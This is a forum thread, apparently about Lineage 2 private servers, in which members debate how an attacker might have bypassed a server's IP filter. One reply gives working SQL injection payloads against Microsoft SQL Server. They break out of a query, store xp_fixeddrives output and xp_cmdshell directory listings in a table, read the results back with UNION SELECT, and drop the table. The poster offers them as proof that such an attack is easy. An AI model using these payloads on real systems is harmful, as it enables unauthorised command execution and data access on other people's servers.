Quote:
Originally Posted by alysia
sorry but
when a person can login to the database he woudn't use cmdshell to modify the amped IP-filter he would simply destroy the database or add to the database the item/exp that he need to his character and finish
or just use cmdshell to connect to cached server
|
I never said anything about logging into the database. I said injection. And, if they were doing it to gain access to a GM char or to obtain items for them it would be counter productive to destroy the server.
Quote:
Originally Posted by FidoW
But in case an attacker is able to do xp_cmdshell commands, he will need to know to location of l2server in the harddrive... i dont think in this case thats the problem.
The most easy explication should be the real one. I think you overwrite INI file or modify it some day when you was updating amped and you forgot to enable ipfilter. Believe that someone found an injection in your website, and later he knows where is the path of l2server.. or start a remote console... i dont think so, is possible... yes... but isnt the most logic explication
|
It's really pretty elementary to obtain path information if you found an injectable entry and can use xp_cmdshell.
Observe:
In this statement I will:
1. Close the query by leading off with ';
2. Create a table that will store my information.
3. Insert into my table information about the machine's fixed disks.
4. Prefix the rest of the line with -- in order to turn it into a comment and not affect my query.
Code:
'; CREATE TABLE haxor(name varchar(255), mb_free int);
INSERT INTO haxor EXEC master..xp_fixeddrives;--
In this statement I will:
1. Close the first part of the query by leading off with '
2. Union my null results with a query designed to pull the data from my haxor table.
3. Turn the rest of the line into a comment.
Code:
' UNION SELECT name, cast((mb_free) as varchar(10)), 1.0 FROM haxor;--
Now I know what disks are installed on the machine...
Lets find out the directories shall we?
Now that i have all my info from my haxor table, I can drop it and recreate it to further my nefarious purposes...
Lets see.... C:\, what do we have there?
Code:
'; DROP TABLE haxor;CREATE TABLE haxor(line varchar(255) null);
INSERT INTO haxor EXEC master..xp_cmdshell 'dir /s c:\';--
Show me the money.
Code:
' UNION SELECT line, '', 1.0 FROM haxor;--
As you can see, it's all really quite basic and takes only a few mins.
Is it the most logical explanation, maybe not. But is it possible? Most assuredly.